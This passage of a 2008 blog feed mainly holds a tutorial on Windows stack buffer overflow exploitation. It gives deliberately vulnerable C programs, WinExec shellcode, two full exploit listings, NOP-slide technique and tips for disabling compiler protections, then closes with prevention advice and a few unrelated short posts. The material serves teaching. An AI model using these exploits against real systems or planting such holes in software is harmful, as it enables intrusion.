code);&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;When executed, the above application returns an access violation {2}. Why? Because an attempt was made to fit a 16-character string into an 8–byte space (it is fairly possible since no checking of limits is carried out). Thus, the allocated memory space has been exceeded and the data at the stack bottom is overwritten. Let us look once again at Figure 2. Such critical data as both the frame address and the return address get overwritten (!). Therefore, upon returning from the function, a modified return address has been pushed into EIP, thereby allowing the program to proceed with the address pointed to by this value, thus creating the stack execution error. So, corrupting the return address on the stack is not only feasible, but also trivial if &quot;enhanced&quot; by programming errors.&lt;/p&gt; &lt;p&gt;Poor programming practices and bugged software provide a huge opportunity for a potential attacker to execute malicious code designed by him.&lt;/p&gt; &lt;h2&gt;Stack overrun&lt;/h2&gt; &lt;p&gt;We must now sort all the information. As we already know, the program uses the EIP register to control execution. We also know that upon calling a function, the address of the instruction immediately following the call instruction is pushed onto the stack and then popped from there and moved to EIP when a return is performed. We may ascertain that the saved EIP can be modified when being pushed onto the stack, by overwriting the buffer in a controlled manner. Thus, an attacker has all the information to point his own code and get it executed, creating a thread in the victim process.&lt;/p&gt; &lt;p&gt;Roughly, the algorithm to effectively overrun the buffer is as follows:&lt;/p&gt; &lt;p&gt;1. Discovering a code, which is vulnerable to a buffer overflow.&lt;/p&gt; &lt;p&gt;2. Determining the number of bytes to be long enough to overwrite the return address.&lt;/p&gt; &lt;p&gt;3. Calculating the address to point the alternate code.&lt;/p&gt; &lt;p&gt;4. Writing the code to be executed.&lt;/p&gt; &lt;p&gt;5. Linking everything together and testing .&lt;/p&gt; &lt;p&gt;The following Listing 3 is an example of a victim&#39;s code.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Listing 3 – The victim&#39;s code&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;#include &lt;/p&gt; &lt;p&gt;#define BUF_LEN 40&lt;/p&gt; &lt;p&gt;void main(int argc, char **argv)&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;char buf[BUF_LEN];&lt;/p&gt; &lt;p&gt;if (argv &gt; 1)&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;printf(„\buffer length: %d\nparameter length: %d&quot;, BUF_LEN, strlen(argv[1]) );&lt;/p&gt; &lt;p&gt;strcpy(buf, argv[1]);&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;This sample code has all the characteristics to indicate a potential buffer overflow vulnerability: a local buffer and an unsafe function that writes to memory, the value of the first instruction line parameter with no bounds checking employed.&lt;/p&gt; &lt;p&gt;Putting to use our newfound knowledge, let us accomplish a sample hacker&#39;s task. As we ascertained earlier, guessing a code section potentially vulnerable to buffer overflow seems simple. The use of a source code (if available) may be helpful otherwise we can just look for something critical in the program to overwrite it. The first approach will focus on searching for string-based function like strcpy(), strcat() or gets(). Their common feature is that they do not use unbounded copy operations, i.e. they copy as many as possible until a NULL byte is found (code 0). If, in addition, these functions operate on a local buffer and there is the possibility to redirect the process execution flow to anywhere we want, we will be successful in accomplishing an attack. Another approach would be trial and error, by relying on stuffing an inconsistently large batch of data inside any available space. Consider now the following example:&lt;/p&gt; &lt;p&gt;victim.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt; &lt;p&gt;If the program returns an access violation error, we may simply move on to step 2.&lt;/p&gt; &lt;p&gt;The problem now, is to construct a large string with overflow potential to effectively overwrite the return address. This step is also very easy. Remembering that only whole words can be pushed onto the stack, we simply need to construct the following string:&lt;/p&gt; &lt;p&gt;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU.............&lt;/p&gt; &lt;p&gt;If successful, in terms of potential buffer overflow, this string will cause the program to fail with the well-known error message:&lt;/p&gt; &lt;p&gt;The instruction at „0x4b4b4b4b&quot; referenced memory at „0x4b4b4b4b&quot;. The memory could not be „read&quot;&lt;/p&gt; &lt;p&gt;The only conclusion to be drawn is that since the value 0x4b is the letter capital &quot;K&quot; in ASCII code, the return address has been overwritten with „KKKK&quot;. Therefore, we can proceed to Step 3.Finding the buffer beginning address in memory (and the injected shellcode) will not be easy. Several methods can be used to make this &quot;guessing&quot; more efficient, one of which we will discuss now, while the others will be explained later. In the meanwhile we need to get the necessary address by simply tracing the code. After starting the debugger and loading the victim program, we will attempt to proceed. The initial concern is to get through a series of system function calls that are irrelevant from this task point of view. A good method is to trace the stack at runtime until the input string characters appear successively. Perhaps two or more approaches will be required to find a code similar to that provided below:&lt;/p&gt; &lt;p&gt;:00401045 8A08 mov cl, byte ptr [eax]&lt;/p&gt; &lt;p&gt;:00401047 880C02 mov byte ptr [edx+eax], cl&lt;/p&gt; &lt;p&gt;:0040104A 40 inc eax&lt;/p&gt; &lt;p&gt;:0040104B 84C9 test cl, cl&lt;/p&gt; &lt;p&gt;:0040104D 75F6 jne 00401045&lt;/p&gt; &lt;p&gt;This is the strcpy function we are looking for. On entry to the function, the memory location pointed by EAX is read in order to move (next line) its value into memory location, pointed by the sum of the registers EAX and EDX. By reading the content of these registers during the first iteration we can determine that the buffer is located at 0x0012fec0.&lt;/p&gt; &lt;p&gt;Writing a shellcode is an art itself. Since operating systems use different system function calls, an individual approach is needed, depending on the OS environment under which the code must run and the goal it is being aimed at. In the simplest case, nothing needs to be done, since just overwriting the return address causes the program to deviate from its expected behavior and fail. In fact, due to the nature of buffer overflow flaws associated with the possibility that the attacker can execute arbitrary code, it is possible to develop a range of different activities constrained only by available space (although this problem can also be circumvented) and access privileges. In most cases, buffer overflow is a way for an attacker to gain &quot;super user&quot; privileges on the system or to use a vulnerable system to launch a Denial of Service attack. Let us try, for example, to create a shellcode allowing commands (interpreter cmd.exe in WinNT/2000). This can be attained by using standard API functions: WinExec or CreateProcess. When WinExec is called, the process will look like this:&lt;/p&gt; &lt;p&gt;WinExec(command, state)&lt;/p&gt; &lt;p&gt;In terms of the activities that are necessary from our point of view, the following steps must be carried out:&lt;/p&gt; &lt;p&gt;- pushing the command to run onto the stack. It will be „cmd /c calc&quot;.&lt;/p&gt; &lt;p&gt;- pushing the second parameter of WinExec onto the stack. We assume it to be zero in this script.&lt;/p&gt; &lt;p&gt;- pushing the address of the command „cmd /c calc&quot;.&lt;/p&gt; &lt;p&gt;- calling WinExec.&lt;/p&gt; &lt;p&gt;There are many ways to accomplish this task and the snippet below is only one of possible tricks:&lt;/p&gt; &lt;p&gt;&lt;br&gt;sub esp, 28h ; 3 bytes&lt;/p&gt; &lt;p&gt;jmp call ; 2 bytes&lt;/p&gt; &lt;p&gt;par:&lt;/p&gt; &lt;p&gt;call &lt;em&gt;WinExec&lt;/em&gt; ; 5 bytes&lt;/p&gt; &lt;p&gt;push eax ; 1 byte&lt;/p&gt; &lt;p&gt;call ExitProcess ; 5 bytes&lt;/p&gt; &lt;p&gt;calling:&lt;/p&gt; &lt;p&gt;xor eax, eax ; 2 bytes&lt;/p&gt; &lt;p&gt;push eax ; 1 byte&lt;/p&gt; &lt;p&gt;call par ; 5 bytes&lt;/p&gt; &lt;p&gt;.string cmd /c calc|| ; 13 bytes&lt;/p&gt; &lt;p&gt;Some comments on this:&lt;/p&gt; &lt;p&gt;sub esp, 28h&lt;/p&gt; &lt;p&gt;This instruction adds some room to the stack. Since the procedure containing an overflow buffer had been completed, consequently, the stack space allocated for local variables is now declared as unused due to the change in ESP. This has the effect that any function call which is given from the code level is likely to overwrite our arduously constructed code inserted in the buffer. To have a function callee-save, all we need is to restore the stack pointer to what it was before &quot;garbage&quot;, that is to its original value (40 bytes) thereby assuring that our data will not be overwritten. &lt;/p&gt; &lt;p&gt;jmp call&lt;/p&gt; &lt;p&gt;The next instruction jumps to the location where the &lt;em&gt;WinExec&lt;/em&gt; function arguments are pushed onto the stack. Some attention must be paid to this. Firstly, a NULL value is required to be &quot;elaborated&quot; and placed onto the stack. Such a function argument cannot be taken directly from the code otherwise it will be interpreted as null terminating the string that has only been partially copied. In the next step, we need a way of pointing the address of the command to run and we will make this in a somewhat ad hoc manner. As we may remember, each time a function is called, the address following the call instruction is placed onto the stack. Our successful (hopefully) exploit first overwrites the saved return address with the address of the function we wish to call. Notice that the address for the string may appear somewhere in the memory. Subsequently, &lt;em&gt;WinExec&lt;/em&gt; followed by &lt;em&gt;ExitProcess&lt;/em&gt; will be run. As we already know, CALL represents an offset that moves the stack pointer up to the address of the function following the callee. And now we need to compute this offset. Fig. 3 below shows a structure of a shellcode to accomplish this task. &lt;/p&gt; &lt;blockquote dir=&quot;ltr&quot; style=&quot;margin-right: 0px;&quot;&gt; &lt;p&gt;&lt;em&gt;Fig. 3 A sample shellcode&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;http://www.windowsecurity.com/img/upl/31036773285329.jpg&quot;&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;em&gt;Legend:&lt;/em&gt;&lt;/p&gt; &lt;p&gt;As can be seen, our example does not consider our reference point, the EBP, that needs to be pushed onto the stack. This is due to an assumption that the victim program is a VC++ 7 compiled code with its default settings that skip the said operation. The remaining job around this problem is to have the code pieces put together and test the whole. The above shellcode, incorporated in a C program and being more suitable for the CPU is presented in Listing 4.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Listing 4 – Exploit of a program &lt;i&gt;victim.exe&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;#include &lt;/p&gt; &lt;p&gt;#include &lt;/p&gt; &lt;p&gt;#include &lt;/p&gt; &lt;p&gt;#include &lt;/p&gt; &lt;p&gt;char *victim = &quot;victim.exe&quot;;&lt;/p&gt; &lt;p&gt;char *code = &quot;\x90\x90\x90\x83\xec\x28\xeb\x0b\xe8\xe2\xa8\xd6\x77\x50\xe8\xc1\x90\xd6\x77\x33\xc0\x50\xe8\xed\xff\xff\xff&quot;;&lt;/p&gt; &lt;p&gt;char *oper = &quot;cmd /c calc||&quot;;&lt;/p&gt; &lt;p&gt;char *rets = &quot;\xc0\xfe\x12&quot;;&lt;/p&gt; &lt;p&gt;char par[42];&lt;/p&gt; &lt;p&gt;void main()&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;strncat(par, code, 28);&lt;/p&gt; &lt;p&gt;strncat(par, oper, 14);&lt;/p&gt; &lt;p&gt;strncat(par, rets, 4);&lt;/p&gt; &lt;p&gt;char *buf;&lt;/p&gt; &lt;p&gt;buf = (char*)malloc( strlen(victim) + strlen(par) + 4);&lt;/p&gt; &lt;p&gt;if (!buf)&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;printf(&quot;Error malloc&quot;);&lt;/p&gt; &lt;p&gt;return;&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;wsprintf(buf, &quot;%s \&quot;%s\&quot;&quot;, victim, par);&lt;/p&gt; &lt;p&gt;printf(&quot;Calling: %s&quot;, buf);&lt;/p&gt; &lt;p&gt;WinExec(buf, 0);&lt;/p&gt;  &lt;p&gt;}&lt;/p&gt; &lt;p&gt;Ooops, it works! The only requisite is that the current directory has a compiled file victim.exe from Listing 3. If all goes as expected, we will see a window with a well-known System Calculator.&lt;/p&gt; &lt;h2&gt;Stock-based and non-stack based exploits&lt;/h2&gt; &lt;p&gt;In the previous example we presented an own code that is executable once the control over the program has been taken over. However, such an approach may not be applicable, when a „victim&quot; is able to check that no illegal code on the stack is executed, otherwise the program will be stopped. Increasingly, so called non-stack based exploits are being used. The idea is to directly call the system function by overwriting (nothing new!) the return address using, for example, WinExec. The only remaining problem is to push the parameters used by the function onto the stack in a useable state. So, the exploit structure will be like in Figure 4.&lt;/p&gt; &lt;blockquote dir=&quot;ltr&quot; style=&quot;margin-right: 0px;&quot;&gt; &lt;p&gt;&lt;em&gt;Fig. 4 A non-stack based exploit&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;http://www.windowsecurity.com/img/upl/41036773988480.jpg&quot;&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p dir=&quot;ltr&quot;&gt;&lt;em&gt;Legend:&lt;/em&gt;&lt;/p&gt; &lt;p dir=&quot;ltr&quot;&gt;A non-stack-based exploit requires no instruction in the buffer but only the calling parameters of the function &lt;em&gt;WinExec&lt;/em&gt;. Because a command terminated with a NULL character cannot be handled, we will use a character &#39;|&#39;. It is used to link multiple commands in a single command line. This way each successive command will be executed only if the execution of a previous command has failed. The above step is indispensable for terminating the command to run without having executed the padding. Next to the padding which is only used to fill the buffer, we will place the return address (ret) to overwrite the current address with that of &lt;em&gt;WinExec&lt;/em&gt;. Furthermore, pushing a dummy return address onto it (R) must ensure a suitable stack size. Since &lt;em&gt;WinExec&lt;/em&gt; function accepts any DWORD values for a mode of display, it is possible to let it use whatever is currently on the stack. Thus, only one of two parameters remains to terminate the string.&lt;/p&gt; &lt;p dir=&quot;ltr&quot;&gt;In order to test this approach, it is necessary to have the victim&#39;s program. It will be very similar to the previous one but with a buffer which is considerably larger (why? We will explain later). This program is called victim2.exe and is presented as Listing 5.&lt;/p&gt; &lt;p dir=&quot;ltr&quot;&gt;&lt;strong&gt;Listing 5 – A victim of a non-stack based exploit attack&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;#include &lt;/p&gt; &lt;p&gt;#define BUF_LEN 1024&lt;/p&gt; &lt;p&gt;void main(int argc, char **argv)&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;char buf[BUF_LEN];&lt;/p&gt; &lt;p&gt;if (argv &gt; 1)&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;printf(„\nBuffer length: %d\nParameter length: %d&quot;, BUF_LEN, strlen(argv[1]) );&lt;/p&gt; &lt;p&gt;strcpy(buf, argv[1]);&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;To exploit this program we need a piece given in Listing 6.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Listing 6 – Exploit of the program victim2.exe&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;#include &lt;/p&gt; &lt;p&gt;char* code = &quot;victim2.exe \&quot;cmd /c calc||AAAAA...AAAAA\xaf\xa7\xe9\x77\x90\x90\x90\x90\xe8\xfa\x12\&quot;&quot;;&lt;/p&gt; &lt;p&gt;void main()&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;WinExec( code, 0 );&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;For simplicity&#39;s sake, a portion of „A&quot; characters from inside the string has been deleted. The sum of all characters in our program should be 1011.&lt;/p&gt; &lt;p&gt;When the &lt;em&gt;WinExec&lt;/em&gt; function returns, the program makes a jump to the dummy saved return address and will consequently quit working. It will then return the function call error but by that time the command should already be performing its purpose.&lt;/p&gt; &lt;p&gt;Given this buffer size, one may ask why it is so large whereas the &quot;malicious&quot; code has become relatively smaller? Notice that with this procedure, we overwrite the return address upon termination of the task. This implies that the stack top restores the original size thus leaving a free space for its local variables. This, in turn, causes the space for our code (a local buffer, in fact) to become a room for a sequence of procedures. The latter can use the allocated space in an arbitrary manner, most likely by overwriting the saved data. This means that there is no way to move the stack pointer manually, as we cannot execute any own code from there. For example, the function &lt;em&gt;WinExec&lt;/em&gt; that is called just at the beginning of the process, occupies 84 bytes of the stack and calls subsequent functions that also place their data onto the stack. We need to have such a large buffer to prevent our data from destruction. Figure 5 illustrates this methodology.&lt;/p&gt; &lt;blockquote dir=&quot;ltr&quot; style=&quot;margin-right: 0px;&quot;&gt; &lt;p&gt;&lt;em&gt;Fig. 5 A sample non-stack based exploit: stack usage&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;http://www.windowsecurity.com/img/upl/51037014005067.jpg&quot;&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p dir=&quot;ltr&quot;&gt;&lt;em&gt;Legend:&lt;/em&gt;&lt;/p&gt; &lt;p&gt;This is just one of possible solutions that has many alternatives to consider. First of all, it is easy to compile because it is not necessary to create an own shellcode. It is also immune to protections that use monitoring libraries for capturing illegal codes on the stack.&lt;/p&gt; &lt;h2&gt;System function calling&lt;/h2&gt; &lt;p&gt;Notice, that all previously discussed system function callings employ a jump command to point to a pre-determined fixed address in memory. This determines the static behavior of the code which implies that we agree to have our code non transferable across various Windows operating environments. Why? Our intention is to suggest a problem associated with the fact that various Windows OSes use different user and kernel addresses. Therefore, the kernel base address differs and so do the system function addresses. For details, see Table 1.&lt;/p&gt; &lt;blockquote dir=&quot;ltr&quot; style=&quot;margin-right: 0px;&quot;&gt; &lt;p&gt;&lt;em&gt;Table 1. Kernel addresses vs. OS environment&lt;/em&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td valign=&quot;top&quot; width=&quot;185&quot;&gt; &lt;p&gt;Windows Platform&lt;/p&gt;&lt;/td&gt; &lt;td valign=&quot;top&quot; width=&quot;159&quot;&gt; &lt;p&gt;Kernel Base Address&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td valign=&quot;top&quot; width=&quot;185&quot;&gt; &lt;p&gt;Win95&lt;/p&gt;&lt;/td&gt; &lt;td valign=&quot;top&quot; width=&quot;159&quot;&gt; &lt;p&gt;0xBFF70000&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td valign=&quot;top&quot; width=&quot;185&quot;&gt; &lt;p&gt;Win98&lt;/p&gt;&lt;/td&gt; &lt;td valign=&quot;top&quot; width=&quot;159&quot;&gt; &lt;p&gt;0xBFF70000&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td valign=&quot;top&quot; width=&quot;185&quot;&gt; &lt;p&gt;WinME&lt;/p&gt;&lt;/td&gt; &lt;td valign=&quot;top&quot; width=&quot;159&quot;&gt; &lt;p&gt;0xBFF60000&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td valign=&quot;top&quot; width=&quot;185&quot;&gt; &lt;p&gt;WinNT (Service Pack 4 and 5)&lt;/p&gt;&lt;/td&gt; &lt;td valign=&quot;top&quot; width=&quot;159&quot;&gt; &lt;p&gt;0x77F00000&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td valign=&quot;top&quot; width=&quot;185&quot;&gt; &lt;p&gt;Win2000&lt;/p&gt;&lt;/td&gt; &lt;td valign=&quot;top&quot; width=&quot;159&quot;&gt; &lt;p&gt;0x77F00000&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/blockquote&gt; &lt;p dir=&quot;ltr&quot;&gt;To prove it, simply run our example under operating an system other than Windows NT/2000/XP. &lt;/p&gt; &lt;p dir=&quot;ltr&quot;&gt;What remedy would be appropriate? The key is to dynamically fetch function addresses, at the cost of a considerable increase in the code length. It turns out that it is sufficient to find where two useful system functions are located, namely &lt;i&gt;GetProcAddress&lt;/i&gt; and &lt;i&gt;LoadLibraryA&lt;/i&gt;, and use them to get any other function address returned. For more details, see references, particularly the &lt;i&gt;Kungfoo&lt;/i&gt; project developed by &lt;i&gt;Harmony &lt;/i&gt;[6].&lt;/p&gt;  &lt;h2 dir=&quot;ltr&quot;&gt;Other ways of defining the beginning of the buffer&lt;/h2&gt; &lt;p dir=&quot;ltr&quot;&gt;All previously mentioned examples used Debugger to establish the beginning of the buffer. The problem lies in the fact that we wanted to establish this address very precisely. Generally, it is not a necessary requirement. If, assuming that the beginning of an alternate code is placed somewhere in the middle of the buffer and not at the buffer beginning whereas the space after the code is filled with many identical jump addresses, the return address will surely be overwritten as required. On the other hand, if we fill the buffer with a series of 0x90s till the code beginning, our chance to guess the saved return address will grow considerably. So, the buffer will be filled as illustrated in Figure 6.&lt;/p&gt; &lt;blockquote dir=&quot;ltr&quot; style=&quot;margin-right: 0px;&quot;&gt; &lt;p dir=&quot;ltr&quot;&gt;&lt;em&gt;Fig. 6 Using NOPs during an overflow attack&lt;/em&gt;&lt;/p&gt; &lt;p dir=&quot;ltr&quot;&gt;&lt;img src=&quot;http://www.windowsecurity.com/img/upl/61036774902194.jpg&quot;&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;i&gt;Legend:&lt;/i&gt;&lt;/p&gt; &lt;p&gt;The 0x90 code corresponds to a NOP slide that does literally nothing. If we point at any NOP, the program will slide it and consequently it will go to the shellcode beginning. This is the trick to avoid a cumbersome search for the precise address of the beginning of the buffer.&lt;/p&gt; &lt;h2&gt;Where does the risk lie?&lt;/h2&gt; &lt;p&gt;Poor programming practices and software bugs are undoubtedly a risk factor. Typically, programs that use text string functions with their lack of automatic detection of NULL pointers. The standard C/C++ libraries are filled with a handful of such dangerous functions. There are: &lt;i&gt;strcpy()&lt;/i&gt;, &lt;i&gt;strcat()&lt;/i&gt;, &lt;i&gt;sprintf()&lt;/i&gt;, &lt;i&gt;gets()&lt;/i&gt;, &lt;i&gt;scanf()&lt;/i&gt;. If their target string is a fixed size buffer, a buffer overflow can occur when reading input from the user into such a buffer. &lt;/p&gt; &lt;p&gt;Another commonly encountered method is using a loop to copy single characters from either the user or a file. If the loop exit condition contains the occurrence of a character, this means that the situation will be the same as above. &lt;/p&gt; &lt;h2&gt;Preventing buffer overflow attacks&lt;/h2&gt; &lt;p&gt;The most straightforward and effective solution to the buffer overflow problem is to employ secure coding. On the market there are several commercial or free solutions available which effectively stop most buffer overflow attacks. The two approaches here are commonly employed:&lt;/p&gt; &lt;p&gt;- library-based defenses that use re-implemented unsafe functions and ensure that these functions can never exceed the buffer size. An example is the Libsafe project.&lt;/p&gt; &lt;p&gt;- library-based defenses that detect any attempt to run illegitimate code on the stack. If the stack smashing attack has been attempted, the program responds by emitting an alert. This is a solution implemented in the SecureStack developed by SecureWave. &lt;/p&gt; &lt;p&gt;Another prevention technique is to use compiler-based runtime boundaries, checking what recently became available and hopefully with time, the buffer overflow problem will end up being a major headache for system administrators. While no security measure is perfect, avoiding programming errors is always the best solution.&lt;/p&gt; &lt;h2&gt;Summary &lt;/h2&gt; &lt;p&gt;Of course, there are plenty of interesting buffer overflow issues which have not been discussed. Our intention was to demonstrate a concept and bring forth certain problems. We hope that this paper will be a contribution to the improvement of the software development process quality through better understanding of the threat, and hence, providing better security to all of us.&lt;/p&gt; &lt;h2&gt;References&lt;/h2&gt; &lt;p&gt;The links listed below form a small part of a huge number of references available on the World Wide Web.&lt;/p&gt; &lt;p&gt;[1] Aleph One, Smashing The Stack For Fun and Profit, Phrack Magazine nr 49, &lt;a href=&quot;http://www.phrack.org/show.php?p=49&amp;a=14&quot;&gt;http://www.phrack.org/show.php?p=49&amp;a=14&lt;/a&gt;&lt;br&gt;[2] P. Fayolle, V. Glaume, A Buffer Overflow Study, Attacks &amp; Defenses, &lt;a href=&quot;http://www.enseirb.fr/%7Eglaume/indexen.html&quot;&gt;http://www.enseirb.fr/~glaume/indexen.html&lt;/a&gt;&lt;br&gt; [3] I. Simon, A Comparative Analysis of Methods of Defense against Buffer Overflow Attacks, &lt;a href=&quot;http://www.mcs.csuhayward.edu/%7Esimon/security/boflo.html&quot;&gt;http://www.mcs.csuhayward.edu/~simon/security/boflo.html&lt;/a&gt;&lt;br&gt; [4] Bulba and Kil3r, Bypassing StackGuard and Stackshield, Phrack Magazine 56 No 5, &lt;a href=&quot;http://phrack.infonexus.com/search.phtml?view&amp;article=p56-5&quot;&gt;http://phrack.infonexus.com/search.phtml?view&amp;article=p56-5&lt;/a&gt;&lt;br&gt; [5] many interesting papers on Buffer Overflow and not only: &lt;a href=&quot;http://www.nextgenss.com/research.html#papers&quot;&gt;http://www.nextgenss.com/research.html#papers&lt;/a&gt;&lt;br&gt;[6] &lt;a href=&quot;http://harmony.haxors.com/kungfoo&quot;&gt;http://harmony.haxors.com/kungfoo&lt;/a&gt;&lt;br&gt; [7] &lt;a href=&quot;http://www.research.avayalabs.com/project/libsafe/&quot;&gt;http://www.research.avayalabs.com/project/libsafe/&lt;/a&gt;&lt;br&gt;[8] &lt;a href=&quot;http://www.securewave.com/products/securestack/secure_stack.html&quot;&gt;http://www.securewave.com/products/securestack/secure_stack.html&lt;/a&gt;&lt;br&gt; &lt;br&gt;Endnotes:&lt;/p&gt; &lt;p&gt;{1} In practice, certain code-optimizing compilers may operate without pushing EBP on the stack. The Visual C++ 7 Compiler uses it as a default option. To deactivate it, set: Project Properties | C/C++ | Optimization | Omit Frame Pointer for NO.&lt;/p&gt; &lt;p&gt;{2} Microsoft has introduced a buffer overrun security tool in its Visual C++ 7. If you are intending to use the above examples to run in this environment, ensure that this option is not selected before compilation: Project Properties | C/C++ | Code Generation | Buffer Security Check should have the value NO.&lt;/p&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.com&quot;&gt;www.b0rder.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;-- Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-7300960544402317521?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/04/hacking-analysis-of-buffer-overflow.html</link><author>borderj@gmail.com (Border)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-5412977444649343536</guid><pubDate>Tue, 01 Apr 2008 08:31:00 +0000</pubDate><atom:updated>2008-04-01T16:31:35.273+08:00</atom:updated><title>『GFW』 Wikimedia 项目和 Blogspot 解封</title><description>  从 &lt;a href=&quot;http://solidot.org&quot;&gt;solidot.org&lt;/a&gt; 看到消息 除了中文 Wikipedia 以外的所有 Wikimedia 项目和 Blogspot 已经可以在中国访问。&lt;br&gt;&lt;br&gt;希望这次不要想前两次没有几天又封了，虽然今天是愚人节。。。&lt;br&gt;&lt;br&gt;参考：&lt;a href=&quot;http://internet.solidot.org/internet/08/04/01/0639229.shtml&quot;&gt;http://internet.solidot.org/internet/08/04/01/0639229.shtml&lt;/a&gt;&lt;br clear=&quot;all&quot;&gt; &lt;br&gt;-- &lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.com&quot;&gt;www.b0rder.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;-- Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-5412977444649343536?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/04/gfw-wikimedia-blogspot.html</link><author>borderj@gmail.com (Border)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-9169309520250812318</guid><pubDate>Mon, 31 Mar 2008 09:35:00 +0000</pubDate><atom:updated>2008-03-31T17:35:04.774+08:00</atom:updated><title>在Struts2中设置Session和用户IP</title><description> 在Struts2中设置Session和用户IP&lt;br&gt;&lt;br&gt;1. Session&lt;br&gt;Map attibutes = ActionContext.getContext().getSession();&lt;br&gt;通过Map的put和get来设置或取得Session。&lt;br&gt;&lt;pre class=&quot;code-java&quot;&gt;2. HttpServletRequest&lt;br&gt;HttpServletRequest request = ServletActionContext.getRequest();&lt;br&gt; &lt;br&gt;3. HttpServletResponse&lt;br&gt;HttpServletResponse response = ServletActionContext.getResponse();&lt;br&gt;&lt;/pre&gt;&lt;br&gt;参考：&lt;br&gt;&lt;a href=&quot;http://struts.apache.org/2.0.11/docs/how-do-we-get-access-to-the-session.html&quot;&gt;http://struts.apache.org/2.0.11/docs/how-do-we-get-access-to-the-session.html&lt;/a&gt;&lt;br&gt; &lt;a href=&quot;http://struts.apache.org/2.0.11/docs/how-can-we-access-the-httpservletrequest.html&quot;&gt;http://struts.apache.org/2.0.11/docs/how-can-we-access-the-httpservletrequest.html&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://struts.apache.org/2.0.11/docs/how-can-we-access-the-httpservletresponse.html&quot;&gt;http://struts.apache.org/2.0.11/docs/how-can-we-access-the-httpservletresponse.html&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;Blog: &lt;a href=&quot;http://www.b0rder.cn&quot;&gt;www.b0rder.cn&lt;/a&gt;&lt;br&gt;&lt;br&gt; Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-9169309520250812318?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/03/struts2sessionip.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-63063396000003810</guid><pubDate>Mon, 24 Mar 2008 03:08:00 +0000</pubDate><atom:updated>2008-03-24T11:08:35.637+08:00</atom:updated><title>『Linux 』Install Vim7.1 on Debian</title><description>&lt;br&gt;1. Down vim7.1  &lt;br&gt;root@bvcomforge:~/tools# wget &lt;a 